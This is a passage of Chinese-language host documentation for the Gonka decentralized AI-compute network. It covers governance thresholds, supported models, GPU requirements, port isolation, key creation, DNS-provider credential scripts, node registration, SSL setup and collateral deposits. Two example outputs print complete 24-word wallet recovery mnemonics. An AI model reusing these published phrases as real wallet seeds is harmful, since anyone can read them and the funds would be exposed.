在最初的 180 个 epoch（约 6 个月）内，新参与者可以参与治理并通过 PoC 获得投票权重，无需抵押要求。在此期间，完整的治理权利可用，而投票权重仍与验证的计算活动相关。
"}, {"location": "gonka/docs/zh/host/proposals/#_4", "title": "关键治理参数", "text": "参数 默认值 描述 效果 法定人数 总 PoC 加权权力的 33.4%（治理参数化）。 必须参与提案才能使其结果有效的总活跃 PoC 加权投票权力的最小比例。 如果未达到法定人数，无论其\"是\"/\"否\"结果如何，提案都被视为无效。 多数阈值 >50% 是票（可在链上配置）。 提案通过所需的\"是\"票在所有投票中的最小比例（不包括\"弃权\"）。投票权重与最近 Sprint 的验证计算能力成比例计算。 如果未达到此阈值，即使达到法定人数，提案也会被拒绝。 否决阈值 系统中整个非弃权投票权力的 33.4% 如果\"否决\"票的比例达到此水平，无论其他投票如何，提案都会被强制拒绝。 作为对恶意或有害提案的保障，即使它们有大多数支持。所有这些参数都在创世代码中定义，可以通过治理提案进行修改，允许网络随时间动态调整决策规则。 有关链上治理步骤，请参阅详细指南。
"}, {"location": "gonka/docs/zh/host/quickstart/", "title": "快速上手", "text": ""}, {"location": "gonka/docs/zh/host/quickstart/#_1", "title": "配置您的链", "text": "主机（硬件提供方或节点）向网络提供算力，并根据所提供资源的数量与质量获得奖励。
要加入网络，您需要部署两类服务：
本指南描述两类服务部署在同一台机器、且每个主机仅有一个 ML 节点的场景。服务以 Docker 容器形式部署。
直播演示 — 如何启动节点（主机快速入门）通过快速入门启动节点的演示录像见下方。录像中的部分步骤可能与下方说明有出入，因快速入门会根据社区反馈持续更新。请始终以书面版快速入门为准，其反映当前且正确的流程。
"}, {"location": "gonka/docs/zh/host/quickstart/#_2", "title": "先决条件", "text": "本节说明如何配置硬件基础设施以参与 Gonka 网络启动，目标是通过与网络预期对齐的部署最大化协议奖励。
"}, {"location": "gonka/docs/zh/host/quickstart/#_3", "title": "支持的模型", "text": "协议支持经治理批准、用于推理与计算证明（PoC v2）的模型。自升级 v0.2.12 起为多模型 PoC：在 Gonka 主网上，每个获批模型有各自的 PoC 组与奖励统计。
模型 ID 说明MiniMaxAI/MiniMax-M2.7 MiniMax M2.7 — 基础模型，网络上活跃的 PoC 模型 moonshotai/Kimi-K2.6 Kimi K2.6 — 正在重新 bootstrap；恢复后将与 MiniMax 并行参与 权威模型列表（治理 API）
经批准的模型可能随版本或 epoch 变化。在编辑 node-config.json 前，请先调用治理接口，将返回中每个对象的 \"id\" 用作 \"models\" 下的键名：
curl -sS http://node2.gonka.ai:8000/v1/governance/models\njq -r '.models[].id'。若无法访问 node2.gonka.ai，可换用其他已参与节点的公网 API 基址（协议、主机、端口）。响应中还包含 model_args 等网络参数；下文 node-config.json 示例为常见硬件的典型 args，请根据 GPU 与压测结果再调整。 通常在 node-config.json 中每个 ML 节点只服务一个模型（models 下的一项）。若需同时覆盖 MiniMax 与 Kimi，请使用多个 ML 节点（或多台机器）。
若无法在本机运行全部获批模型
多模型 PoC 按模型统计参与。若硬件无法覆盖每一位治理批准的模型，需要通过链上委托或拒绝，使共识权重在各模型上被正确计入。这与「先把节点跑起来」无关——仍使用账户（冷）密钥（与 步骤 3.3「向 ML 运营密钥授予权限」 相同 keyring），在注册并验证节点之后再执行。完整命令见文末 可选：PoC 委托与拒绝。策略与惩罚说明见 多模型 PoC — 主机操作指南。
治理与模型分类
要运行有效节点，需要具备支持的 GPU 的机器。以下为参考配置：
模型名称 ML 节点（最少） 示例硬件 每 ML 节点最小显存MiniMaxAI/MiniMax-M2.7 ≥ 2 每 ML 节点 4× A100 / 4× H100 / 2× H200 / 2× B200 ~320 GB moonshotai/Kimi-K2.6 ≥ 2 每 ML 节点 8× H200 或 8× B200（参考档位） 640 GB 此为参考架构。您可调整节点数量或硬件分配，但建议遵循核心原则：每个节点应在各模型层级支持多个 ML 节点。
Kimi K2.6 在相同参考硬件（8×H200、8×B200）上相对 Qwen235B 的 PoC 权重系数约为 3.51×。详见 多模型 PoC — 主机操作指南。B200 档位的示例 vLLM 参数见下文 node-config.json 与 Kimi K2.6 Bootstrap。
关于最佳部署配置的更多细节可以在 这里找到。
承载网络节点的服务器应具备：
最终需求取决于所连接 ML 节点数量及其总吞吐量。
部署 ML 节点的每台服务器应具备：
nvidia-smi 查看版本。Gonka 网络采用基于代理的架构，以保护节点免受滥用和 DDoS 攻击。所有公开的 HTTP/HTTPS 流量必须通过代理容器（proxy container）。直接暴露 Network Node 或 ML Node 服务是不安全的。
对外暴露的端口
以下端口可以暴露到公网：
警告：内部端口
以下端口仅限内部使用，严禁暴露到公网：
如果这些端口被暴露到公网，你的节点将面临安全风险。第三方可以直接发送请求，导致 ML Node 被过载、挖矿中断，甚至在一个 epoch 中掉线。
要求：
从 Upgrade 0.2.8 开始
为了默认提升安全性与性能，以下路由控制与链服务限制将自动生效，除非被显式覆盖。
API 手动路由控制 # 定义哪些路由可以绕过限流 (Exempt) ，以及哪些路由被完全禁用（Blocked）\n - GONKA_API_EXEMPT_ROUTES=chat inference\n - GONKA_API_BLOCKED_ROUTES=poc-batches training\n # 默认禁用对 Chain 服务的公开访问\n - DISABLE_CHAIN_API=${DISABLE_CHAIN_API:-true}\n - DISABLE_CHAIN_RPC=${DISABLE_CHAIN_RPC:-true}\n - DISABLE_CHAIN_GRPC=${DISABLE_CHAIN_GRPC:-true}\n以下情况描述了 Network Node 与 ML Node 服务的内部端口隔离规则。这些规则是在已配置代理作为唯一公网入口之后生效的。它们不替代代理机制，必须与代理一起使用。
情况 1：ML Node 与 Network Node 在同一台机器上情况 2：ML Node 与 Network Node 在不同机器上仅将端口绑定到 localhost。
Network Node（docker-compose.yml)
如果你的 ML Node 容器和 Network Node 容器在同一台机器上，你可以直接修改 gonka/deploy/join/docker-compose.yml:
api:\n ports:\n - \"127.0.0.1:9100:9100\"\n - \"127.0.0.1:9200:9200\"\nML Node (docker-compose.mlnode.yml)
ports:\n - \"127.0.0.1:${PORT:-8080}:8080\"\n - \"127.0.0.1:${INFERENCE_PORT:-5050}:5000\"\n不要使用：
在这种架构下，Network Node 与 ML Node 之间的所有通信必须通过私有网络进行。不得使用公网 IP 或公网 DNS 名称用于以下用途：
DAPI_API__POC_CALLBACK_URL如果 ML Node 和 Network Node 容器部署在不同机器上，那么情况 1 中描述的修复方法将无法生效，并且具体的端口保护方式取决于你的部署方式。你需要在 ML Node 和 Network 容器之间建立连接，可以使用同一个 docker 网络，或者在机器之间搭建私有网络，在该网络中开放端口，并关闭对公网的访问。在这种情况下，你还需要在配置中正确设置 DAPI_API__POC_CALLBACK_URL 变量。该 URL 必须指向一个私有/内部地址，不能是公网地址。
快速入门说明针对在同一台机器上同时运行网络节点与推理节点的单机部署。
多节点部署若您要部署多台 GPU 节点，请参阅详细的多节点部署指南进行正确配置。无论推理节点是单机还是跨多台服务器（含跨地域），所有推理节点都必须连接到同一网络节点。
"}, {"location": "gonka/docs/zh/host/quickstart/#_7", "title": "密钥管理概览", "text": "在配置网络节点之前，需先设置加密密钥以保障安全运行。 建议在启动生产节点前阅读 密钥管理指南。
我们采用三密钥体系：
本地账户管理与网络操作需要 inferenced CLI。它是命令行工具，用于在本地机器上创建和管理 Gonka 账户、注册主机及执行各类网络操作。
选择正确的二进制文件
GitHub 发布版本中可能包含多个 inferenced 构件（artifacts）。
对于本地 CLI 使用，请务必下载与操作系统对应的打包 CLI 构建版本，例如：
inferenced-darwin-amd64.zipinferenced-darwin-arm64.zipinferenced-linux-amd64.zipinferenced-linux-arm64.zip请不要使用用于升级路径或容器/运行时环境的通用 inferenced 二进制文件。这些构件在本地机器上作为独立 CLI 使用时，可能无法正常工作。
版本要求
请确保你使用的是 inferenced CLI 构建版本 version 0.2.9 或更新版本。较旧版本的 CLI 不支持权限授予功能，并可能导致不可预期的行为。
如果你计划提交治理提案，尤其是使用较新消息类型的提案，请使用最新发布的、与操作系统对应的 CLI 构建版本。
验证安装
chmod +x inferenced\n./inferenced --help\nmacOS 用户
在 macOS 上，若系统提示，可能需要在「系统设置」→「隐私与安全」中允许运行。找到关于 inferenced 的提示并点击「仍要允许」。
如果在 Linux 上启动该二进制文件失败，并出现类似 Error relocating ./inferenced: qsort_r: symbol not found的错误，这通常意味着你下载的是非 CLI 或用于升级的特定构件，而不是与你的操作系统匹配的打包 CLI 构建版本。请重新下载与你的操作系统和架构对应的正确压缩包。
重要：请在安全的本机执行此步骤（不要用服务器）
关于账户密钥（冷密钥）账户密钥是您的主要高权限密钥，在本地创建，从不存储在服务器上。
使用 file keyring 后端创建账户密钥（在支持的系统上也可使用 os 以增强安全）：
./inferenced keys add gonka-account-key --keyring-backend file\nCLI 会要求输入口令并显示所创建密钥对信息。
❯ ./inferenced keys add gonka-account-key --keyring-backend file\nEnter keyring passphrase (attempt 1/3):\nRe-enter keyring passphrase:\n\n- address: gonka1rk52j24xj9ej87jas4zqpvjuhrgpnd7h3feqmm\n name: gonka-account-key\n pubkey: '{\"@type\":\"/cosmos.crypto.secp256k1.PubKey\",\"key\":\"Au+a3CpMj6nqFV6d0tUlVajCTkOP3cxKnps+1/lMv5zY\"}'\n type: local\n\n\n**重要** 请将助记词妥善抄写保存。\n这是遗忘密码后恢复账户的唯一方式。\n\npyramid sweet dumb critic lamp various remove token talent drink announce tiny lab follow blind awful expire wasp flavor very pair tell next cable\n关键： 请将助记词抄写并保存在安全、离线处。这是恢复账户密钥的唯一方式。
硬件钱包支持
当前状态：网络启动时暂不支持硬件钱包。
目前建议：将账户密钥保存在安全、专用、尽量少联网且加密良好的机器上。
注意：无论未来是否支持硬件钱包，请始终保留助记词备份。
"}, {"location": "gonka/docs/zh/host/quickstart/#_9", "title": "[服务器] 下载部署文件", "text": "克隆包含基础部署脚本的仓库：
git clone https://github.com/gonka-ai/gonka.git -b main && \\\ncd gonka/deploy/join\n并复制 config 模板：
cp config.env.template config.env\n克隆后您将看到以下关键配置文件：
文件 说明config.env 网络节点环境变量 docker-compose.yml 启动网络节点的 Docker Compose 文件 docker-compose.mlnode.yml 启动 ML 节点的 Docker Compose 文件 node-config.json 网络节点使用的配置，描述该网络节点所管理的推理节点"}, {"location": "gonka/docs/zh/host/quickstart/#_10", "title": "[服务器] 设置环境变量", "text": "需要配置
请完成问卷以生成您的 config.env 配置。环境变量取决于您的选择（HTTP/HTTPS、SSL 证书方式等）。
无域名时无法使用 HTTPS
SSL/TLS 证书只能为域名（如 example.com）签发，不能为直接 IP 签发。由于您表示未配置域名，节点将仅使用 HTTP（端口 8000）部署。
若需 HTTPS 安全，您需要：
生产环境部署强烈建议使用 HTTPS，以加密 API 通信并保护敏感数据。
config.env
请复制上方配置，并按下方说明编辑各变量。
复制到剪贴板 重置若节点无法连接默认种子节点，详见 FAQ。
"}, {"location": "gonka/docs/zh/host/quickstart/#_11", "title": "[服务器] 编辑环境变量", "text": "需要编辑的变量：
其他变量可保持默认。
如何从域名服务商获取变量：
Cloudflare1) 打开 Cloudflare 控制面板。
2) 进入 Profile → API Tokens。
3) 点击 Create Token。
4) 使用 Edit zone DNS 模板或设置权限：Zone:Read、DNS:Edit。
5) 将令牌限制在您的 DNS 区域并创建。
6) 复制令牌并设置 CF_DNS_API_TOKEN。
Option A — AWS CLI
HOSTED_ZONE_ID=\"Z123EXAMPLE\"\ncat > route53-acme.json <<'JSON'\n{\n\"Version\": \"2012-10-17\",\n\"Statement\": [\n {\n \"Effect\": \"Allow\",\n \"Action\": [\"route53:ChangeResourceRecordSets\"],\n \"Resource\": \"arn:aws:route53:::hostedzone/${HOSTED_ZONE_ID}\"\n },\n {\n \"Effect\": \"Allow\",\n \"Action\": [\n \"route53:ListHostedZones\",\n \"route53:ListHostedZonesByName\",\n \"route53:ListResourceRecordSets\",\n \"route53:GetChange\"\n ],\n \"Resource\": \"*\"\n }\n]\n}\nJSON\n\naws iam create-policy \\\n--policy-name acme-dns-route53-${HOSTED_ZONE_ID} \\\n--policy-document file://route53-acme.json | jq -r .Policy.Arn\n\nUSER_NAME=\"acme-dns\"\nPOLICY_ARN=$(aws iam list-policies --query \"Policies[?PolicyName=='acme-dns-route53-${HOSTED_ZONE_ID}'].Arn\" -o tsv)\naws iam create-user --user-name \"$USER_NAME\" >/dev/null || true\naws iam attach-user-policy --user-name \"$USER_NAME\" --policy-arn \"$POLICY_ARN\"\nCREDS=$(aws iam create-access-key --user-name \"$USER_NAME\")\nAWS_ACCESS_KEY_ID=$(echo \"$CREDS\" | jq -r .AccessKey.AccessKeyId)\nAWS_SECRET_ACCESS_KEY=$(echo \"$CREDS\" | jq -r .AccessKey.SecretAccessKey)\n\necho \"AWS_ACCESS_KEY_ID=$AWS_ACCESS_KEY_ID\"\necho \"AWS_SECRET_ACCESS_KEY=$AWS_SECRET_ACCESS_KEY\"\necho \"AWS_REGION=<your-aws-region>\"\n方式 B — 控制台
1) 创建限于您托管区域的 IAM 策略（ChangeResourceRecordSets 及列表权限）。
2) 创建具有编程访问权限的 IAM 用户。
3) 将策略附加到该用户。
4) 创建访问密钥对并设置 AWS_ACCESS_KEY_ID、AWS_SECRET_ACCESS_KEY、AWS_REGION。
方式 A — gcloud CLI：
PROJECT_ID=\"<your-gcp-project>\"\nSA_NAME=\"acme-dns\"\nSA_EMAIL=\"$SA_NAME@$PROJECT_ID.iam.gserviceaccount.com\"\n\ngcloud config set project \"$PROJECT_ID\"\n# 1) 服务账户\ngcloud iam service-accounts create \"$SA_NAME\" \\\n--display-name \"ACME DNS for proxy-ssl\"\n# 2) 角色\ngcloud projects add-iam-policy-binding \"$PROJECT_ID\" \\\n--member \"serviceAccount:$SA_EMAIL\" \\\n--role \"roles/dns.admin\"\n# 3) 密钥 → base64（单行）\ngcloud iam service-accounts keys create key.json --iam-account \"$SA_EMAIL\"\nGCE_SERVICE_ACCOUNT_JSON_B64=$(base64 < key.json | tr -d '\\n')\n\necho \"GCE_PROJECT=$PROJECT_ID\"\necho \"GCE_SERVICE_ACCOUNT_JSON_B64=$GCE_SERVICE_ACCOUNT_JSON_B64\"\n1) IAM 与管理 → 服务账户 → 创建服务账户（如 acme-dns）。
2) 授予该服务账户角色：DNS 管理员（roles/dns.admin）。
3) 服务账户 → 密钥 → 添加密钥 → 创建新密钥（JSON）→ 下载。
4) 将 JSON 密钥 base64 编码为单行并设置 GCE_SERVICE_ACCOUNT_JSON_B64。将 GCE_PROJECT 设为您的项目 ID。
方式 A — Azure CLI（快速）
# 1) 登录并选择订阅\naz login\naz account set --subscription \"<your-subscription-name-or-id>\"\n\n# 2) 设置 DNS 区域所在位置\nRG=\"<<your-dns-resource-group>>\"\nZONE=\"<<your-zone>>\" # 如 gonka.ai\nSP_NAME=\"gonka-acme-$(date +%s)\"\n\nSUBSCRIPTION_ID=$(az account show --query id -o tsv)\nSCOPE=\"/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RG/providers/Microsoft.Network/dnszones/$ZONE\"\n\nCREDS=$(az ad sp create-for-rbac \\\n--name \"$SP_NAME\" \\\n--role \"DNS Zone Contributor\" \\\n--scopes \"$SCOPE\" \\\n--only-show-errors)\n\n# 4) 提取值\nAZURE_CLIENT_ID=$(echo \"$CREDS\" | jq -r .appId)\nAZURE_CLIENT_SECRET=$(echo \"$CREDS\" | jq -r .password)\nAZURE_TENANT_ID=$(echo \"$CREDS\" | jq -r .tenant)\n\n# 5) 输出到环境文件\necho \"AZURE_CLIENT_ID=$AZURE_CLIENT_ID\"\necho \"AZURE_CLIENT_SECRET=$AZURE_CLIENT_SECRET\"\necho \"AZURE_SUBSCRIPTION_ID=$SUBSCRIPTION_ID\"\necho \"AZURE_TENANT_ID=$AZURE_TENANT_ID\"\n1) 进入 Microsoft Entra ID → 应用注册 → 新注册。复制应用程序（客户端）ID 和目录（租户）ID。
2) 进入证书和机密 → 新客户端机密。复制机密值并设置 AZURE_CLIENT_SECRET。
3) 复制订阅 ID 并设置 AZURE_SUBSCRIPTION_ID。
4) 在 DNS 区域中打开访问控制（IAM）→ 添加角色分配 → DNS 区域参与者 → 分配给已注册应用。
DigitalOcean DNS1) 打开 DigitalOcean 控制面板。
2) 进入 API → Tokens。
3) 生成具有写权限的令牌并设置 DO_AUTH_TOKEN。
1) 打开 https://dns.hetzner.com。
2) 进入 API Tokens。
3) 创建新令牌并设置 HETZNER_API_KEY。
加载配置：
source config.env\n使用环境变量
以下各节示例会引用这些环境变量（如 $PUBLIC_URL、$ACCOUNT_PUBKEY、$SEED_API_URL），包括本机命令与服务器命令。请在每个要执行这些命令的终端会话中运行 source config.env。
编辑 node-config.json，使每个 ML 节点在 \"models\" 中声明其运行的单个模型。务必用 /v1/governance/models 核对模型 id（见上文 支持的模型）—下文示例反映常见硬件布局，其中的模型 id 仅为撰写时的示例。批准列表由治理决定；详见 交易与治理指南。
适用于 4×H100 上的 MiniMax M2.7，使用 FLASHINFER attention 后端与 FP8 kv-cache。
编辑 node-config.json
[\n {\n \"id\": \"node1\",\n \"host\": \"inference\",\n \"inference_port\": 5000,\n \"poc_port\": 8080,\n \"max_concurrent\": 500,\n \"models\": {\n \"MiniMaxAI/MiniMax-M2.7\": {\n \"args\": [\n \"--tensor-parallel-size\", \"4\",\n \"--attention-backend\", \"FLASHINFER\",\n \"--gpu-memory-utilization\", \"0.92\",\n \"--max-num-seqs\", \"128\",\n \"--enable-auto-tool-choice\",\n \"--max-model-len\", \"180000\",\n \"--kv-cache-dtype\", \"fp8\",\n \"--tool-call-parser\", \"minimax_m2\",\n \"--reasoning-parser\", \"minimax_m2_append_think\"\n ]\n }\n }\n }\n]\nMiniMax M2.7 需要 MLNode 3.0.14 或更新版本。在 A100 硬件上还需为 mlnode-308 服务设置环境变量 VLLM_USE_FLASHINFER_MOE_FP8=0。
以下 vLLM 参数适用于 Blackwell 4×B200 或 8×B200 上的 Kimi K2.6，并作为 8×H200 同布局的参考（tensor_parallel_size 为 4，且在八卡上使用 expert parallelism）。请仅在压测或运维要求下再调整。
编辑 node-config.json
[\n {\n \"id\": \"node1\",\n \"host\": \"inference\",\n \"inference_port\": 5000,\n \"poc_port\": 8080,\n \"max_concurrent\": 500,\n \"models\": {\n \"moonshotai/Kimi-K2.6\": {\n \"args\": [\n \"--tensor-parallel-size\", \"4\",\n \"--enable-expert-parallel\",\n \"--trust-remote-code\",\n \"--mm-encoder-tp-mode\", \"data\",\n \"--tool-call-parser\", \"kimi_k2\",\n \"--reasoning-parser\", \"kimi_k2\",\n \"--attention-backend\", \"FLASHINFER_MLA\",\n \"--disable-custom-all-reduce\",\n \"--gpu-memory-utilization\", \"0.95\",\n \"--max-num-seqs\", \"128\",\n \"--max-model-len\", \"240000\"\n ]\n }\n }\n }\n]\n通过 API 注册或更新节点时使用相同的 \"models\" 块；等效的 curl 示例见 Kimi K2.6 Bootstrap。
更多关于最优部署配置的说明请参阅 此链接。
验证部署
gonka 仓库提供了一个名为 mlnode-validate 的智能体技能，可针对预先计算的诚实 PoC 向量验证 ML 节点。已提交的黄金参考涵盖 Qwen3-0.6B、Qwen3-235B（默认 + DeepGEMM + pubkey-v2 变体）、Kimi K2.6 和 MiniMax M2.7。参见验证 ML 节点部署。
推理节点从 Hugging Face 下载模型权重。为确保推理前权重已就绪，应在部署前下载。
MiniMax M2.7Kimi K2.6mkdir -p $HF_HOME\nhuggingface-cli download MiniMaxAI/MiniMax-M2.7\n许可证见 Model licenses。MiniMax M2.7 需要 MLNode 3.0.14 或更新版本。
mkdir -p $HF_HOME\nhuggingface-cli download moonshotai/Kimi-K2.6\n许可证见 Model licenses。链上操作（intent、委托等）见 Kimi K2.6 Bootstrap。
"}, {"location": "gonka/docs/zh/host/quickstart/#_13", "title": "启动节点", "text": ""}, {"location": "gonka/docs/zh/host/quickstart/#1-docker", "title": "1. [服务器] 拉取 Docker 镜像（容器）", "text": "运行以下命令前请确保位于 gonka/deploy/join 目录。
docker compose -f docker-compose.yml -f docker-compose.mlnode.yml pull\n启动完成密钥配置所需的核心服务（暂不启动 API）：
source config.env && \\\ndocker compose up tmkms node -d --no-deps\n先启动这些容器的原因：
tmkms - 生成并安全管理验证者注册所需的共识密钥node - 连接区块链并提供获取共识密钥的 RPC 端点api - 此阶段故意不启动，因为下一步需在其内创建 ML 运营密钥建议
可通过日志确认初始服务是否成功启动：
docker compose logs tmkms node -f\n若看到链节点持续处理区块事件，说明配置正确。
关于共识密钥在步骤 3.2 的注册命令（inferenced register-new-participant）中，共识密钥会在链上与您的账户密钥（冷密钥）绑定，使您的节点成为网络有效参与者。
若删除或覆盖 .tmkms 目录，共识密钥将丢失。该密钥将您的节点与链上验证者集关联。一旦 .tmkms 丢失，必须从零重新完成整套配置（包括通过 tmkms 生成新共识密钥）（见 FAQ 页「我清除或覆盖了共识密钥」）。
接下来需创建温密钥、注册主机并授予权限：
"}, {"location": "gonka/docs/zh/host/quickstart/#31-ml", "title": "3.1. [服务器] 创建 ML 运营密钥", "text": "关于 ML 运营密钥（温密钥）在 api 容器内使用 file keyring 后端创建温密钥（程序访问需要）。密钥将保存在映射到容器 /root/.inference 的持久卷中：
docker compose run --rm --no-deps -it api /bin/sh\n在容器内创建 ML 运营密钥：
printf '%s\\n%s\\n' \"$KEYRING_PASSWORD\" \"$KEYRING_PASSWORD\" | inferenced keys add \"$KEY_NAME\" --keyring-backend file\n重要
请勿重复执行此命令。 ML 运营密钥（温密钥）每台服务器仅生成一次，必须在重启后保留。
示例输出：
~ # printf '%s\\n%s\\n' \"$KEYRING_PASSWORD\" \"$KEYRING_PASSWORD\" | inferenced keys add \"$KEY_NAME\" --keyring-backend file\n\n- address: gonka1gyz2agg5yx49gy2z4qpsz9826t6s9xev6tkehw\n name: node-702105\n pubkey: '{\"@type\":\"/cosmos.crypto.secp256k1.PubKey\",\"key\":\"Ao8VPh5U5XQBcJ6qxAIwBbhF/3UPZEwzZ9H/qbIA6ipj\"}'\n type: local\n\n\n**重要** 请将助记词妥善抄写保存。\n这是遗忘密码后恢复账户的唯一方式。\n\nagain plastic athlete arrow first measure danger drastic wolf coyote work memory already inmate sorry path tackle custom write result west tray rabbit jeans\n在同一容器内注册主机 — 此操作将您的 URL、账户密钥与自动获取的共识密钥在链上绑定：
./inferenced register-new-participant \\\n $DAPI_API__PUBLIC_URL \\\n $ACCOUNT_PUBKEY \\\n --node-address $DAPI_CHAIN_NODE__SEED_API_URL\n预期输出：
...\nFound participant: gonka1rk52j24xj9ej87jas4zqpvjuhrgpnd7h3feqmm (url: http://36.189.234.237:19250, status: ACTIVE)\nParticipant is now available at http://36.189.234.237:19250/v2/participants/gonka1rk52j24xj9ej87jas4zqpvjuhrgpnd7h3feqmm\nAccount balance: 0\n账户已存在链上交易记录
账户在首次收到代币时即永久创建于链上。如果您的账户密钥地址已有链上交易记录，请按以下步骤操作：
步骤 1. 在步骤 3.1 的容器中，获取共识密钥并记录：
curl -s $DAPI_CHAIN_NODE__URL/status | jq -r '.result.validator_info.pub_key.value'\n步骤 2. 退出容器，在本地机器（存有账户密钥的机器）上执行：
./inferenced tx inference submit-new-participant \\\n <PUBLIC_URL> \\\n --validator-key <CONSENSUS_KEY> \\\n --keyring-backend file \\\n --from <COLD_KEY_NAME> \\\n --timeout-duration 1m \\\n --unordered \\\n --node <node-url>/chain-rpc/ \\\n --chain-id gonka-mainnet\n<node-url> — 网络中任意已在运行的节点地址（例如 http://node2.gonka.ai:8000）。请勿使用您自己节点的 URL——此步骤中该节点尚未完全启动。
若创建账户密钥时指定了自定义 --keyring-dir，请在命令中添加 --keyring-dir <路径>。
命令会提示 confirm transaction before signing and broadcasting [y/N]:，输入 y 确认。
Gas 费用由账户密钥的余额支付，请确保账户有足够代币。
每节点账户密钥配置
请为每个网络节点生成独立的 ACCOUNT_PUBKEY，以保证主机隔离。
然后退出容器：
exit\n重要：请在创建账户密钥的本地安全机器上执行此步骤
从账户密钥向 ML 运营密钥授予权限：
./inferenced tx inference grant-ml-ops-permissions \\\n gonka-account-key \\\n <步骤-3.1-中的-ml-运营密钥地址> \\\n --from gonka-account-key \\\n --keyring-backend file \\\n --gas 2000000 \\\n --node <服务器 config.env 中的 seed_api_url>/chain-rpc/ \n预期输出：
...\nTransaction sent with hash: FB9BBBB5F8C155D0732B290C443A0D06BC114CDF43E8EE8FB329D646C608062E\nWaiting for transaction to be included in a block...\n\nTransaction confirmed successfully!\nBlock height: 174\n若您在上方问卷中选择了手动 SSL 证书配置，请按以下步骤配置 SSL 证书：
"}, {"location": "gonka/docs/zh/host/quickstart/#_14", "title": "准备目录", "text": "mkdir -p secrets/nginx-ssl secrets/certbot\nDOMAIN=<完整域名>\nACCOUNT_EMAIL=<邮箱地址> # 续期通知\nmkdir -p secrets/nginx-ssl secrets/certbot\n\ndocker run --rm -it \\\n -v \"$(pwd)/secrets/certbot:/etc/letsencrypt\" \\\n -v \"$(pwd)/secrets/nginx-ssl:/mnt/nginx-ssl\" \\\n certbot/certbot certonly --manual --preferred-challenges dns \\\n -d \"$DOMAIN\" --email \"$ACCOUNT_EMAIL\" --agree-tos --no-eff-email \\\n --deploy-hook 'install -m 0644 \"$RENEWED_LINEAGE/fullchain.pem\" /mnt/nginx-ssl/cert.pem; \\\n install -m 0600 \"$RENEWED_LINEAGE/privkey.pem\" /mnt/nginx-ssl/private.key'\nDNS 验证
Certbot 会暂停并显示需在服务商处添加的 TXT DNS 记录。验证通过后，cert.pem 和 private.key 将出现在 ./secrets/nginx-ssl/。
确保证书文件已就位：
ls -la secrets/nginx-ssl/\n应看到： - cert.pem（完整链证书） - private.key（私钥，模式 0600）
问卷生成的 config.env 已包含所需 SSL 变量： - SERVER_NAME=<完整域名> - SSL_CERT_SOURCE=./secrets/nginx-ssl
继续前请将 SERVER_NAME 改为您的实际域名。
最后启动所有容器（含 API）：
需要配置
请先完成上方问卷以生成启动命令。
启动所有容器：
source config.env && \\\ndocker compose -f docker-compose.yml -f docker-compose.mlnode.yml up -d\n使用自动 SSL 证书管理启动所有容器：
source config.env && \\\ndocker compose --profile \"ssl\" \\\n -f docker-compose.yml -f docker-compose.mlnode.yml \\\n up -d\n--profile \"ssl\" 参数会启用 proxy-ssl 容器，该容器会自动管理 SSL 证书。
使用手动 SSL 证书启动所有容器：
source config.env && \\\ndocker compose -f docker-compose.yml -f docker-compose.mlnode.yml up -d\n验证 HTTPS 是否正常：
curl -I https://<完整域名>:8443/health # 预期：HTTP/2 200 OK\n在浏览器中打开以下 URL，将 <your-gonka-cold-address> 替换为您的地址：
http://node2.gonka.ai:8000/v2/participants/<your-gonka-cold-address>\n你应看到参与者 JSON 数据（participant.address、participant.inferenceUrl、participant.status）。
如需查看账户数据（pubkey、balance、denom），请访问：
http://node2.gonka.ai:8000/v2/accounts/<your-gonka-cold-address>\n当节点完成一次计算证明（Proof of Compute）阶段（每 24 小时一次）后，可访问：
http://node2.gonka.ai:8000/v1/epochs/current/participants\n您可在 ML 节点上自行模拟计算证明，以确认链上 PoC 阶段开始时一切正常。
您也可以在此阶段前关闭服务器，并在下一次计算证明前再启动。 下一次计算证明开始时间可在仪表盘查看：
http://node2.gonka.ai:8000/dashboard/gonka/validator\n当你的节点运行后，可以通过代理（proxy）检查节点状态。
curl http://<PUBLIC_IP>:8000/chain-rpc/status\ncurl http://0.0.0.0:26657/status\ncurl http://node2.gonka.ai:8000/chain-rpc/status\n当你的节点已经在 Dashboard 中可见后，你可能还希望更新你的公开资料（例如主机名称、网站、头像等）。这将帮助网络中的其他参与者识别你的节点。你可以 查看说明.
"}, {"location": "gonka/docs/zh/host/quickstart/#5", "title": "5. [本地机器] 存入抵押品", "text": "重要：请在你创建 Account Key 的安全本地机器上执行此步骤。
Collateral（抵押品）是被锁定的 GNK，用于激活你 PoC（Proof of Compute，计算证明）权重中符合抵押条件的部分。如果没有抵押，Host 只能获得 Proof of Compute 所产生权重中的 基础权重（base weight）（默认仅为 20%）。宽限期现已结束，因此若想以完整权重运行，此步骤是必须的。
关于时间点说明： Verify Node Status 仅表示你的容器已经运行且参与者已注册。它并不意味着 Proof of Compute 已成功完成——PoC 大约每 24 小时运行一次，只有在 PoC 完成后，你才能在 $NODE_URL/v1/epochs/current/participants中看到你的实际权重。 下方两个选项允许你：要么现在先存入一个估算值，要么等待第一次 PoC 完成后再按精确数据存入。
无法提前准确知道你的 PoC 权重——它取决于你的硬件、当前网络规模以及每个模型的系数。
选项 A —— 现在就存入（从第 1 个 Epoch 开始即获得完整权重） 查看当前网络中的权重分布，并存入足够覆盖较高范围的抵押金。这样你的节点在第一次 PoC 时就已经具备抵押。
export NODE_URL=\"<seed_api_url from server's config.env>\" # e.g. http://node2.gonka.ai:8000\nexport CHAIN_ID=\"gonka-mainnet\"\n\nPARAMS=$(curl -s \"$NODE_URL/chain-api/productscience/inference/inference/params\")\nBASE_WEIGHT_RATIO=$(echo \"$PARAMS\" | jq -r '.params.collateral_params.base_weight_ratio\n | (.value | tonumber) * pow(10; .exponent | tonumber)')\nCOLLATERAL_PER_UNIT=$(echo \"$PARAMS\" | jq -r '.params.collateral_params.collateral_per_weight_unit\n | (.value | tonumber) * pow(10; .exponent | tonumber)')\n\nMAX_WEIGHT=$(curl -s \"$NODE_URL/v1/epochs/current/participants\" \\\n | jq '[.active_participants.participants[].weight] | max')\n\nDEPOSIT=$(printf \"%.0f\" \"$(echo \"$MAX_WEIGHT * (1 - $BASE_WEIGHT_RATIO) * $COLLATERAL_PER_UNIT * 2\" | bc -l)\")\necho \"Recommended deposit (covers network max with 2x buffer): ${DEPOSIT} ngonka\"\n公式如下： MAX_WEIGHT × (1 − BASE_WEIGHT_RATIO) × COLLATERAL_PER_UNIT × 2。只有符合抵押条件的那部分权重需要抵押支持（其余部分会作为基础权重直接给予），而 × 2 推荐的安全缓冲倍数。所有参数都会从链上读取，因此即使治理参数发生变化，该脚本依然有效。
